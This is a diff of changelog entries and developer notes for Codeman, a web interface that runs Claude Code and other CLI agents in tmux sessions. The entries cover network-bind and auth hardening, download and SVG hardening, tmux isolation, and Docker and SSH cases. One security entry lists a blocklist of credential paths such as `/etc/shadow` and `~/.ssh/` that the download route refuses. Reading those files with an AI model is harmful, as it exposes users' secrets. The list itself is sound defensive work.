+  The hand-tracking overlay's source (previously the standalone `Ark0N/codeman-gesture-control` repo) now lives at `packages/gesture-control/` as the `codeman-gesture-control` workspace package: the transport-agnostic gesture core (`src/gesture/*` — MediaPipe GestureRecognizer → One-Euro-filtered cursor → pinch state machine), the Codeman consumer entry (`src/codeman/entry.ts`, maps grab/drag/drop onto real session tabs + toolbar buttons), and a standalone vite playground for iterating on gesture feel.
+  - New `npm run build:gesture` (`scripts/build-gesture-bundle.mjs`) esbuild-bundles `entry.ts` into the served `src/web/public/gesture/gesture-codeman.js`; `scripts/build.mjs` now reruns it on every production build so the served bundle always reflects current source. The MediaPipe wasm + model stay runtime-loaded from same-origin `/gesture/` (unchanged).
+  - Added `@mediapipe/tasks-vision@0.10.21` as the package dependency (kept in sync with `fetch-gesture-assets.mjs`). The playground uses vite 7 (no known advisories).
+
+  No change to the shipped app behavior — gesture control remains opt-in (`CODEMAN_GESTURE=1` + the App Settings → Input toggle). This release just makes the overlay developable inside the Codeman repo.
+
+## 0.9.1
+
+### Patch Changes
+
+- Multi-monitor & settings UX fixes.
+  - **Multi-monitor button (remote servers):** the "span displays" button spawns `scripts/span-codeman.sh` server-side, so on a non-macOS Codeman server it can't open a window on your machine. The non-macOS API error now explains this and points to running the script locally on your Mac with the remote server URL; the script header documents the same remote-client workflow.
+  - **App Settings modal:** stop the modal overflowing horizontally on narrow viewports.
+  - **systemd:** sync the `codeman-web.service` template with the deployed unit.
+
+## 0.9.0
+
+### Minor Changes
+
+- Security hardening release: network-bind policy, auth lockout recovery, download/SVG hardening, dependency & supply-chain fixes, tmux launch reliability, and a full security-architecture doc.
+
+  **Network binding (COD-29, #107):**
+  - The web server now defaults to binding `127.0.0.1` (loopback) instead of `0.0.0.0`, so a fresh install is reachable only from the same machine and needs no password. New `--host` / `-H` / `CODEMAN_HOST` flag to choose the bind host.
+  - Binding a non-loopback host **without** `CODEMAN_PASSWORD` no longer refuses to start — it **starts and prints a loud warning** with the three ways to secure it (set `CODEMAN_PASSWORD`, bind loopback + an authenticated tunnel / `tailscale serve`, or acknowledge with `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`). This keeps Codeman "just working" for new users while making remote exposure a guided, explicit choice. Host classification lives in the new `src/web/network-auth-policy.ts` (handles `127.0.0.0/8`, `::1`, `::ffff:127.*`, bracketed IPv6).
+  - A post-install security note now explains the loopback default and how to expose safely.
+
+  **Authentication (COD-29, #107):**
+  - Auth lockout now recovers gracefully: the per-IP rate-limit (`429`) check runs **after** the cookie/credential checks, so a valid session cookie or correct password is never locked out by a prior attacker's failures from the same IP (important behind a shared-IP tunnel). Wrong credentials are still counted and still hit the limit, and a `Retry-After` header is returned.
+
+  **Downloads & content-type hardening (COD-29, #107):**
+  - New session-scoped `POST /api/download` route: realpath-bounded to the session working dir, a sensitive-path blocklist (`/etc/shadow`, `~/.ssh/`, `.env`, `*credentials*`, …), `isFile()` + 50 MB cap, forced `attachment`.
+  - Workspace `.svg` files are served as `application/octet-stream` + `attachment` + `nosniff` (closes a stored-XSS-via-SVG vector); `nosniff` now applies to all `file-raw` responses.
+
+  **Dependencies & supply chain (COD-28, #106):**
+  - Bumped security-sensitive deps to patched versions (`@fastify/static` 9, `fastify` 5.8, `uuid` 14, `vitest` 4.1, …) and added `overrides` for patched transitives (`picomatch`, `basic-ftp`, `fast-uri`, `flatted`); `npm audit` goes from 7 advisories to 0.
+  - New `npm run check:public-assets` (`scripts/check-public-assets.mjs`): scans `src/web/public/**` for literal NUL bytes and runs `node --check` on every `.js` file, plus a Prettier pass on maintained files. Removed literal NUL placeholders from `app.js`. Added `test/dependency-security.test.ts` and `test/frontend-public-tooling.test.ts`.
+
+  **tmux launch reliability (COD-31, #110):**
+  - New tmux sessions and respawns launch from a stable `/tmp` and `cd` into the workspace inside the pane, avoiding `new-session` crashes when a FUSE/rclone-mounted workspace has a transient mount blip at launch. The `cd "<dir>" && <cmd>` form is fail-safe (the CLI never runs in `/tmp`) and the path is validated + double-quoted.
+
+  **Test stability (COD-30, #108):**
+  - Cleared leaked auth env in the Vitest setup, corrected stale route status-code / SSE-lifecycle expectations to match shipped behavior, updated the mobile keyboard accessory expectations, and measured DOMContentLoaded via browser navigation timing. Also fixed the `WebServer` title tests for the new `host` constructor arg + async `renderIndexHtml`.
+
+  **Docs:**
+  - New `docs/security-architecture.md` documenting the full model (network binding, auth pipeline, the tunnel `req.ip` caveat, file-serving hardening, supply-chain, multi-instance isolation, security headers, and recommended secure setups). CLAUDE.md updated accordingly.
+
+## 0.8.2
+
+### Patch Changes
+
+- Session detach/undock, opt-in gesture-control overlay, multi-monitor spanning, new App-Settings toggles, and asset cache-busting.
+  - **Session detach/undock + instance isolation (#103):** Detach a session into its own solo (popup) window from the tab strip. Adds multi-instance isolation primitives in `src/config/instance.ts` (`getDataDir()`/`dataPath()`/`DEFAULT_TMUX_SOCKET`) keyed off `CODEMAN_INSTANCE`, so a beta can run side-by-side with prod without discovering/attaching to prod's live tmux sessions or clobbering its `state.json`. `CODEMAN_INSTANCE` defaults to the production layout (`~/.codeman`, `-L codeman`, port 3000), so master installs are unaffected. Adds `scripts/run-beta.sh` (`CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`). The legacy `~/.claudeman` migration is now scoped to the default instance only. Hardened detach edge cases. Tests: `test/config/instance.test.ts`.
+  - **Gesture-control overlay (Phase 5, opt-in via `CODEMAN_GESTURE=1`):** Camera hand-tracking overlay (self-hosted MediaPipe — wasm + model fetched at install/build via `scripts/fetch-gesture-assets.mjs` rather than committed). `CODEMAN_GESTURE=1` makes the feature _available_ (CSP widening + `/gesture/` assets + `window.__codemanGestureAvailable`); the per-user **Gesture Control (beta)** toggle (App Settings → Display → Input, default OFF) is the actual on/off and reloads the page to inject/remove the bundle. Dashboard-only (not solo popups). Labeled "(beta)" (#109).
+  - **Multi-monitor button:** Header button (opt-in via App Settings → Display → Header Displays) that POSTs `/api/system/span-displays` to spawn `scripts/span-codeman.sh` — a maximized browser `--app` window sized to the union of all displays, so the gesture layer's floating panels can drag across the physical monitor seam. Tests: `test/routes/system-span-displays.test.ts`.
+  - **New App-Settings toggles (#105):** Gesture control and the multi-monitor button are both opt-in (default OFF), with live show/hide on save.
+  - **Asset cache-busting:** `renderIndexHtml` appends `?v=<mtime>` to every same-origin `.js`/`.css` reference; `index.html` is served `no-cache`, so a normal reload picks up edited modules/styles without a hard refresh. Tests: `test/render-index-html.test.ts`.
+  - **Gesture Control toggle placement:** the toggle now lives inside the existing **Input** settings section (alongside Local Echo / CJK Input / Extended Keyboard Bar) instead of a duplicate "Input" section; only the toggle itself is hidden when `CODEMAN_GESTURE=1` is unset, leaving the rest of the section intact.
+  - **Service env:** `scripts/codeman-web.service` now sets `CODEMAN_GESTURE=1` so the gesture feature is available on the local install (still gated behind the default-OFF per-user toggle).
+  - **Docs:** CLAUDE.md updated for the orchestrator loop, multi-monitor/span-displays, cache-busting, gesture/multi-monitor toggles, and structural-count fixes.
+
+## 0.8.1
+
+### Patch Changes
+
+- Thinking Effort now flows as a soft default the user can override in-session (PR #104, by @TeigenZhang).
+
+  Previously Codeman carried the effort setting as the `CLAUDE_CODE_EFFORT_LEVEL` env var, which Claude Code treats as a hard override — it locked effort for the whole session and rejected in-session `/effort` switching (including switching to `ultracode`). Effort is now injected at spawn time as a CLI soft default that `/effort` can still change freely in either direction:
+  - Regular levels (`low`/`medium`/`high`/`xhigh`/`max`) are passed via `claude --effort <level>` (the settings `effortLevel` key silently drops `max`, so the flag is used instead).
+  - `ultracode` (xhigh effort + standing dynamic-workflow orchestration) is passed via `claude --settings '{"ultracode":true}'`, since the `--effort` flag rejects it.
+
+  Details:
+  - New `effort` field on the create-session, quick-start, and Ralph-loop request schemas; threaded through `Session._effort` to both spawn paths (tmux `buildSpawnCommand` and direct-PTY `buildInteractiveArgs`), persisted in `SessionState.effort`, and restored on reboot recovery.
+  - `buildEffortCliArgs()` is the single, allowlist-validated source for both carriers (injection-safe).
+  - Settings UI adds an "Ultracode (multi-agent workflows)" option to the Thinking Effort dropdown; the frontend no longer emits `CLAUDE_CODE_EFFORT_LEVEL`.
+  - Legacy migration: sessions persisted with the old env var are auto-migrated into the new `effort` field, and the stale tmux env var is unset so respawned panes are no longer locked.
+  - Adds `test/effort-injection.test.ts` (13 cases) covering carrier mapping, injection guards, args building, and constructor migration.
+
+## 0.8.0
+
+### Minor Changes
+
+- Event-loop responsiveness fix, mobile image upload, response-viewer polish, and a mobile-UI trim.
+  - **fix: avoid event-loop stalls from synchronous tmux/ps calls (#100):** The session manager ran `execSync` for tmux mouse-mode toggles, `list-panes`, and `ps`/`pgrep` resource-stat queries on the main thread. Under multi-session / many-pane load these blocking spawns froze Node's single event loop, stalling SSE broadcasts and PTY I/O (the ":3000 briefly unreachable, process never restarts" class of incident). Converted those calls to async `execAsync` and updated all callers to `await`. Added a lightweight `utils/event-loop-monitor.ts` that samples loop-delay and logs when a stall threshold is exceeded, started on web-server boot and stopped on shutdown — so future regressions leave a timestamped, quantified log line instead of vanishing silently.
+  - **feat(web): mobile image upload to active session via paste dialog (#101):** The mobile keyboard-accessory paste dialog now attaches images, not just text — via a native picker (`accept=image/*` → camera / photo library / files) plus best-effort capture of images pasted into the textarea. Both paths reuse the existing `_uploadAndInsertImages()` → `POST /api/sessions/:id/paste-image` pipeline. Images are re-encoded client-side before upload (PNG→PNG to preserve transparency, everything else→JPEG, animated GIFs passed through untouched) so the bytes always match their declared extension — fixing the Android/MIUI case where a WebP/HEIF mislabeled as `image/jpeg` passed the extension allowlist but failed the server's magic-byte check. The server logs a precise diagnostic on any remaining magic-byte mismatch.
+  - **feat(web): response-viewer transcript fallback + code-block rendering (#102):** A substantial response-viewer styling overhaul — proportional prose font (monospace kept for code), refined heading/code/blockquote/list styling, readable max content width, and a smoother slide-in animation; the `.rv-text` rules now also apply to `.response-viewer-body` so transcript-missing fallback content gets the same typography. Plus a `_renderMarkdown` null-safety fix (`text` → `src = text || ''`).
+  - **feat(web): remove /compact button from the mobile keyboard accessory bar:** Dropped `/compact` from both the simple and extended accessory-bar layouts and the associated action handling. `/clear` retains its double-tap confirmation. Verified on a touch-emulated viewport that neither layout renders a compact action.
+
+## 0.7.1
+
+### Patch Changes
+
+- **fix(respawn): auto-accept now fires on plan approvals after `Worked for X` line, and on AskUserQuestion menus**
+
+  Two related blockers in the respawn controller's auto-accept path:
+  - Modern Claude Code emits `✻ Worked for Xm Ys` immediately before a plan-approval menu. `_detectCompletionMessage()` cancelled the auto-accept timer and `canAutoAccept()` then rejected on `completionMessageTime !== null`, so plan approvals **never** auto-accepted — the 10 s completion-confirm timer instead started a respawn cycle while the menu sat unanswered.
+  - The same logic in `signalElicitation()` set a hard flag that blocked auto-accept whenever Claude Code fired the `elicitation_dialog` hook, contradicting the in-UI hint ("Auto-accept presses Enter for plan approvals **and default question options**"). AskUserQuestion menus were therefore never auto-accepted either.
+
+  Fix:
+  - `_detectCompletionMessage()` no longer cancels the auto-accept timer; the auto-accept pre-filter is now the authoritative "is there a numbered selection menu?" gate.
+  - `canAutoAccept()` and the AI-plan-check callback both accept `'watching'` AND `'confirming_idle'` states (covers the single-PTY-burst case where `Worked for` and the menu arrive together — `_detectCompletionMessage` returns early before the substantial-output check can demote state back to watching). `sendAutoAcceptEnter()` self-transitions back to `'watching'` before sending Enter.
+  - `signalElicitation()` is now an affirmative hint that primes the auto-accept timer instead of blocking. Still gated on `config.autoAcceptPrompts` AND state ∈ {`watching`, `confirming_idle`} — never fires Enter when respawn is off or auto-accept is disabled.
+  - AI plan-check prompt broadened to recognize AskUserQuestion / elicitation menus as valid for auto-accept (the verdict name `PLAN_MODE` is preserved for compatibility but now means "auto-accept this selection menu").
+  - Removed the now-unused `elicitationDetected` field and its assignments.
+
+  Two new regression tests cover both the separate-PTY-chunk and single-PTY-chunk cases; the previously misleading "should NOT send Enter when completion message was detected" test was renamed and re-scoped to clarify it tests the **no-menu** path (which still correctly rejects via the pre-filter).
+
+  **docs(web): correct `sendPendingCtrlL` comment** — removed the stale "called by foo/bar" note from the dead-call-graph helper after #99.
+
+## 0.7.0
+
+### Minor Changes
+
+- Response viewer & terminal-stability improvements, plus test/error-handling hardening.
+  - **Copy button on code blocks (#98):** Every fenced code block in the response viewer now has a one-click copy button pinned to its top-right, outside the `<pre>` scroll container so it stays put during horizontal scroll. ASCII diagrams keep their line-wrap toggle alongside it. Copy prefers the async Clipboard API and falls back to a hidden-textarea + `execCommand` path, so it works over plain HTTP (tunnel) too, with a brief ✓/✕ feedback state.
+  - **Fix: stop auto-sending Ctrl+L from session-selection paths (#99):** A fast page refresh or SSE reconnect could fire two programmatic Ctrl+L (`\x0c`) sends within Claude Code 2.x's "clear conversation" confirmation window, silently wiping the active conversation. Removed the automatic Ctrl+L sends from `selectSession()`, `restoreTerminalSize()`, and the dead `sendPendingCtrlL()` path; redraws now rely on resize/SIGWINCH. User-initiated Ctrl+L still works. Trade-off: an occasional transient stale Ink frame right after refresh that self-heals on the next keypress — far preferable to silent data loss.
+  - **Test & error-handling hardening (#97):** Repaired route-test harness error rendering via a dedicated `route-error-handler.ts`, and stopped the AI idle/plan checkers from spawning real processes during tests.
+
+## 0.6.12
+
+### Patch Changes
+
+- Fix new-session crash after a tmux upgrade and isolate Codeman sessions on a dedicated tmux socket.
+  - **Pane file-descriptor limit**: raise `ulimit -Sn` before launching the CLI (in both the spawn and respawn paths) so the newer tmux + macOS launchd combination — which hands panes a low soft `nofile` limit (256) that recent Claude Code refuses to start under — no longer kills every freshly spawned session on startup.
+  - **Single-socket isolation**: all Codeman-owned tmux sessions now live on a dedicated socket (`tmux -L codeman`, overridable via `CODEMAN_TMUX_SOCKET`), fully separated from the user's default tmux server. The socket name is validated and shell-escaped at every call site.
+  - **Drop the drift-prone per-session `tmuxSocket` field**: session reconciliation collapses to a single `list-panes` query against the one socket, eliminating live sessions being wrongly marked dead ("session not found") and duplicate "Restored:" tabs. Stale per-session socket tags and duplicate records are cleaned from disk on load (dedup by `muxName`, keeping the real entry over `restored-` placeholders).
+  - **Route remaining bare-`tmux` call sites through the socket**: the window-size query on re-attach (previously fell back to 120×40 and lost scrollback) and the send-key route (Shift+Enter / Ctrl+Enter newline).
+  - **SSH chooser scripts** (`tmux-manager.sh`, `tmux-chooser.sh`) route every tmux call through the dedicated socket.
+
+## 0.6.11
+
+### Patch Changes
+
+- Resume Conversation: fixes and folder drill-down.
+  - **fix(history)**: `decodeProjectKey()` now uses longest-join-first backtracking with on-disk validation, so sibling directories sharing a prefix (e.g. `diary/` vs `diary-app/`) resolve to the correct path. Previously the greedy shortest-match decoder picked the shorter name and bailed, surfacing `$HOME` in the Resume Conversation list and resuming into the wrong folder. Greedy decode is kept as a fallback so history for deleted projects still resolves. (#92)
+  - **fix(tabs)**: Drop the client-side resurrection of ended-session tabs. The old code cached open tabs in `localStorage` and rebuilt them as grayed-out stubs whenever the server no longer knew them, which left phantom tabs after closing a session on another device. The server is now the single source of truth; legacy `localStorage` keys are purged on init. Net -44 / +6 lines. (#93)
+  - **feat(history)**: New "View all in this folder" drill-down on Resume Conversation. `GET /api/history/sessions` accepts `projectKey` (validated against `^[A-Za-z0-9_-]+$` before any filesystem access), `offset`, and `limit`; single-folder mode bypasses the 50-cap and returns `{ sessions, total }`. Frontend adds a modal listing 20 sessions per page with a "Show more" pagination button. Modal items omit their own "View all" button to prevent recursive entry points. (#94)

+The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an _absolute_ URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted.

+**Code style**: Prettier (`singleQuote: true`, `printWidth: 120`, `trailingComma: "es5"`) — config lives in the **`"prettier"` key of `package.json`**, not a `.prettierrc` (keeps the repo root short; editors read it natively). `.prettierignore` stays at the root because Prettier resolves it relative to cwd. ESLint flat config (`config/eslint.config.js`) allows `no-console`, warns on `@typescript-eslint/no-explicit-any`. Ignores: `app.js`, `scripts/**/*.mjs`, `src/web/public/vendor/**`, `scripts/remotion/**`.
+
+**Prettier scope is deliberately narrow.** `npm run format` globs only `src/**/*.ts` and `src/web/public/**`, and `.prettierignore` then exempts most of `src/web/public/*.js` (app.js, styles.css, index.html, and 14 hand-formatted modules) plus `CLAUDE.md`. Those files are hand-formatted by design; `npm run check:public-assets` and `check:frontend-syntax` are what guard them (NUL bytes + JS syntax), not Prettier. Do not "fix" a file by adding it back to Prettier's scope.
 
 ## Common Gotchas
 
 - **Single-line prompts only** — `writeViaMux()` sends text+Enter separately; multi-line breaks Ink
 - **ESM only** — Never `require()`, use `await import()`. `tsx` masks CJS/ESM issues in dev but production breaks
-- **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly
+- **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly. Both `aicodeman` and `codeman` bin aliases are installed (`package.json` `bin`)
 - **Global regex `lastIndex`** — Shared `g`-flag patterns in loops must reset `lastIndex = 0` first, or use the `execPattern()` helper in `utils/regex-patterns.ts` (resets automatically)
-- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` env vars** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift
-- **Dual-CLI prefix discipline** — Codeman supports both Claude Code and OpenCode (`claude-cli-resolver.ts` / `opencode-cli-resolver.ts`); env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*`) and the allowlist in `schemas.ts` enforces this. When adding settings, decide which CLI(s) it applies to and gate the env export accordingly — don't blindly forward both prefixes
-- **Zod `.optional()` rejects `null`** — accepts `undefined` only. When the frontend builds a request body with `JSON.stringify`, an explicit `null` field is preserved on the wire and fails validation with `INVALID_INPUT`. Convert `null` → `undefined` before stringifying (e.g. `field: value ?? undefined`), or declare the schema `.nullish()`. Real bugs caused: 0.6.4 (`durationMinutes` for ∞ respawn), and the same shape pattern hit `opusContext1mEnabled` in 0.6.3
-- **`xterm-zerolag-input` is duplicated** — the local-echo overlay lives in BOTH `packages/xterm-zerolag-input/src/` (published to npm as a standalone library for external consumers — see README "Published Packages") AND inline inside `src/web/public/app.js` (runtime copy the web UI actually loads, since the page ships as plain JS without a bundler). Any change to overlay behavior MUST be applied to both, or dev and prod diverge — and a public API break in the package warrants a separate version bump for `xterm-zerolag-input` in the changeset. Always test on mobile after touching it.
+- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` / `GEMINI_*` / `GOOGLE_*` env vars** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift. (`GOOGLE_*` is the deliberately-broad Vertex-AI namespace for Gemini — see Multi-CLI prefix discipline.)
+- **Effort is NOT an env var** — never carry effort as `CLAUDE_CODE_EFFORT_LEVEL`: the env var hard-locks effort and blocks in-session `/effort` switching (incl. ultracode). It flows as the dedicated `effort` payload field → `Session._effort` → `claude --effort <level>` for regular levels incl. `max` (the settings `effortLevel` key is `enum(["low","medium","high","xhigh"]).catch(undefined)` — `max` gets SILENTLY dropped there), or `claude --settings '{"ultracode":true}'` for ultracode (rejected by `--effort`). Both are soft defaults the user can override anytime. Legacy env-var entries are auto-migrated by the Session constructor and unset from tmux sessions in `applyEnvOverrides()`. See `buildEffortCliArgs()` in `session-cli-builder.ts`, tests in `test/effort-injection.test.ts`
+- **Model choice flows via `settings.local.json`, NOT `--model` or env** — the App Settings **Claude Model** picker (`claudeModel` in `settings.json`) is read by `session-ui.js` at session create (wins over the legacy 1M-Opus toggles `opusContext1m`/`opusContext1mEnabled`), sent as the `modelOverride` payload field, and `updateCaseModel()` (`hooks-config.ts`) writes/deletes the `model` key in `<case>/.claude/settings.local.json`. This is the intended exception to the envOverrides rule above: model legitimately lives in `settings.local.json` (a soft default — in-session `/model` still works); env vars do not
+- **Multi-CLI prefix discipline** — env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `GEMINI_*`) and the `ALLOWED_ENV_PREFIXES` allowlist in `schemas.ts` enforces this. Gemini additionally allowlists the **broad `GOOGLE_*`** namespace (intentional: Vertex AI auth needs `GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI`; it is the loosest allowlist entry, affecting only the user's own spawned CLI). When adding a setting, decide which CLI(s) it applies to and gate the env export accordingly. Never blanket-forward all prefixes. Resolver design pattern: `docs/opencode-integration.md`
+- **Zod `.optional()` rejects `null`** — accepts `undefined` only. When the frontend builds a request body with `JSON.stringify`, an explicit `null` field is preserved on the wire and fails validation with `INVALID_INPUT`. Convert `null` → `undefined` before stringifying (e.g. `field: value ?? undefined`), or declare the schema `.nullish()`. This has caused real shipped bugs twice
+- **`xterm-zerolag-input` is single-source** — the local-echo overlay source lives ONLY in `packages/xterm-zerolag-input/src/`, and is bundled into the **gitignored** `src/web/public/vendor/xterm-zerolag-input.js` (dev, by `scripts/postinstall.js`) and `dist/.../vendor/` (prod, by `scripts/build.mjs`). `app.js` only **consumes** it via `new LocalEchoOverlay(terminal)`; there is no inline copy. So: change the package source, then rerun the bundle step (`npm install` for dev, `npm run build` for prod). **Never hand-edit `app.js` for overlay behavior, and never commit the gitignored vendor bundle.** Always test on mobile after touching it. → [architecture-invariants#xterm-zerolag-input-is-single-source](docs/architecture-invariants.md#xterm-zerolag-input-is-single-source), `docs/local-echo-overlay-plan.md`
+- **Default bind is loopback-only; non-loopback without a password starts but warns** — the server defaults to `--host 127.0.0.1`. Binding non-loopback (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` starts anyway but prints a loud warning; `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges it. ⚠️ The production systemd unit passes no `--host`, so prod binds **localhost only**: reach it via `tailscale serve`/tunnel to `127.0.0.1`. A loopback bind is reachable through a same-host tunnel but NOT by a browser hitting the box's LAN IP. `install.sh` is separate and prompts for the binding (defaulting to LAN + a password), and preserves the existing binding on re-runs. → [architecture-invariants#default-bind-and-the-non-loopback-warning-path](docs/architecture-invariants.md#default-bind-and-the-non-loopback-warning-path), `docs/security-architecture.md`
+- **Instance isolation / multi-instance attach danger** — the data dir (`~/.codeman`) and tmux socket (`tmux -L codeman`) are PROCESS-WIDE and shared by every Codeman on the machine, derived from `CODEMAN_INSTANCE` via `src/config/instance.ts`. ⚠️ A 2nd instance on the SAME socket **discovers and attaches PTYs to the first instance's live sessions**, resizing and mutating them. `$HOME` isolation is NOT enough because tmux is system-global. To run two instances, give each a distinct `CODEMAN_INSTANCE` (scopes dir + socket together), or set `CODEMAN_TMUX_SOCKET` + `CODEMAN_DATA_DIR` individually; `scripts/run-beta.sh` does this for a beta alongside prod. **Any new `~/.codeman/...` path MUST go through `dataPath()`**, never `join(homedir(), '.codeman', …)`. → [architecture-invariants#instance-isolation-and-the-multi-instance-attach-danger](docs/architecture-invariants.md#instance-isolation-and-the-multi-instance-attach-danger)
+- **Headless screenshots: `deviceScaleFactor` MUST be 1, and write unique filenames** — under DSF=2 xterm's WebGL renderer draws glyphs at ~2× nominal size while still *reporting* nominal cell dims, so only the pixels reveal it and only the terminal font looks wrong. And overwriting a fixed output path leaves OS image viewers showing the old render, which reads as "the fix didn't work"; `scripts/capture-real-overview.mjs` mints a timestamped filename per run. Seed the per-device `localStorage` keys (`codeman:skin`, `codeman-font-size`, `codeman-app-settings`) so the capture matches a real device. → [architecture-invariants#headless-screenshot-capture](docs/architecture-invariants.md#headless-screenshot-capture)

 ### Key Patterns
 
-**Input**: `session.writeViaMux()` for programmatic input — tmux `send-keys -l` (literal) + `send-keys Enter`. Single-line only.
+**Input**: `session.writeViaMux()` for programmatic/curl input via tmux `send-keys -l` + `send-keys Enter`, single-line only. Interactive **browser** input goes through a durable **exactly-once** layer: a stable `clientId` + monotonic per-session `seq` persisted to localStorage until the server ACKs, so a dropped link cannot lose or double-deliver a prompt. `ws-connection-registry.ts` supersedes only same-TAB reconnects, so two tabs on one session coexist. → [architecture-invariants#input-delivery-and-ws-resilience](docs/architecture-invariants.md#input-delivery-and-ws-resilience)
 
 **Idle detection**: Multi-layer (completion message → AI check → output silence → token stability). See `docs/respawn-state-machine.md`.
 
-**Hook events**: Claude Code hooks trigger via `/api/hook-event`. Key events: `permission_prompt`, `elicitation_dialog`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`. See `src/hooks-config.ts`.
+**Auto-resume on usage limit** (opt-in per session, top of the Respawn tab): when Claude halts on a subscription limit, `usage-limit-patterns.ts` (pure, unit-tested) parses the reset time and `SessionAutoOps` arms a timer for reset+2min, then sends Esc + `continue`. ⚠️ Respawn cycles are blocked while paused (`isLimitPaused` guard in `onIdleDetected`), which is what prevents `/clear` from wiping the paused conversation. Claude-mode only. → [architecture-invariants#auto-resume-on-usage-limit](docs/architecture-invariants.md#auto-resume-on-usage-limit)
+
+**Plan-usage chip** (statusLine telemetry, `showPlanUsageLimits`, per-device: desktop default **ON**, handhelds OFF via the mobile block in `getDefaultSettings()`): resolve it ONLY through `planUsageChipEnabled()` in settings-ui.js, which backs all three call sites (the App Settings checkbox, the chip's visibility, and the `statusLineTelemetry` flag on session create). A chip shown without telemetry renders `—` forever. Codeman injects its own `statusLine.command` exporter which POSTs Claude's `rate_limits` blob to `POST /api/status-telemetry`. The exporter is identified by a marker, so it only ever adds/updates/removes a statusLine that is **ours**, never a user's hand-authored one, and it prints the footer through so the in-terminal statusline is not blanked. Claude-mode only; distinct from auto-resume, which reacts to the limit *message* rather than showing live %. → [architecture-invariants#plan-usage-chip-statusline-telemetry](docs/architecture-invariants.md#plan-usage-chip-statusline-telemetry), `docs/usage-limits-display-plan.md`
+
+**Orchestrator**: State machine that turns a user goal into a phased plan and drives it to completion: `idle → planning → approval → executing → verifying → (replanning) → completed/failed`. `OrchestratorLoop` (engine) delegates plan generation to `orchestrator-planner` and per-phase verification gates to `orchestrator-verifier`, executing phases via team agents/`task-queue`. State persists under the `orchestrator` key in `state.json`. Distinct from Ralph (single-session autonomous loop) — orchestrator coordinates multi-phase, multi-agent execution. See `docs/orchestrator-loop-architecture.md`.
+
+**Cron (`CronJob`s)**: saved, named jobs on a recurring schedule (`once`/`interval`/`daily`/`weekly`) with per-job run history. ⚠️ **Distinct from the legacy `ScheduledRun`** (`/api/scheduled`, a run-now duration-bounded loop); the two never interact and keep separate `Scheduled*` / `Cron*` names. `CronService` **reuses the existing session layer** rather than rebuilding tmux logic. Next-run math is pure and unit-tested in `cron-time.ts` (server-local timezone). The schedule is advanced BEFORE launch so a slow launch cannot re-trigger. → [architecture-invariants#cron-jobs](docs/architecture-invariants.md#cron-jobs), `docs/cron-discovery.md`
+
+**Remote sessions + remote SSH cases**: a case can point at a remote host. The agent runs inside a durable remote `tmux -L codeman-remote` (session name `codeman-ssh-<id>`, deliberately failing the remote Codeman's `SAFE_MUX_NAME_PATTERN` so an instance on the target host never adopts it), fronted by a LOCAL tmux pane running `ssh`. Attached (`owned:false`) sessions **detach, never kill** on tab close; owned ones propagate `kill-session`. A bounded-backoff watcher auto-reconnects dropped sessions (`remoteAutoReconnect`, default ON). ⚠️ **Command-injection surface: every ssh command line must flow through `buildSshConnectionArgs()`**, which `shellescape`s every user field. Never hand-build an ssh line elsewhere. ⚠️ Run flows must route remote cases through `POST /api/quick-start`, not `POST /api/sessions` (which stat-validates `workingDir` locally and has no `caseName`). → [architecture-invariants#remote-sessions-over-ssh](docs/architecture-invariants.md#remote-sessions-over-ssh), [#remote-ssh-cases](docs/architecture-invariants.md#remote-ssh-cases), `docs/remote-sessions.md`
+
+**Docker cases**: a case can point at a **container**, with any of the five CLI backends running inside it. Like remote-SSH this is a **LOCATION OVERLAY on cases, never a sixth `SessionMode`**. Exactly one long-lived container **per case**, shared by all its sessions, so killing a session kills only that session's in-container tmux and **never** `docker stop` while siblings remain. The workspace is a real host dir bind-mounted at the **same absolute path**, which is what keeps file-routes/watchers on real host bytes and makes the in-container transcript projHash match the host. Credentials are **seeded** (RO mount, copied into the container once) rather than shared RW, so in-container CLIs never write refreshed tokens back to the host, and bind mounts are excluded from `docker commit` so exports stay secret-free. **NEVER a create-time `-e` for secrets, NEVER `--privileged`, NEVER the docker socket.** Config drift is detected via a label hash and a drifted launch is REFUSED rather than silently launched with stale config. ⚠️ On the loopback-only prod bind a container cannot reach 127.0.0.1, so in-container hooks need `CODEMAN_DOCKER_BRIDGE_HOOKS=1`; otherwise idle detection falls back to output-based. → [architecture-invariants#docker-cases](docs/architecture-invariants.md#docker-cases), `docs/docker-cases.md` (user guide), `docs/docker-cases-plan.md` (design)
+
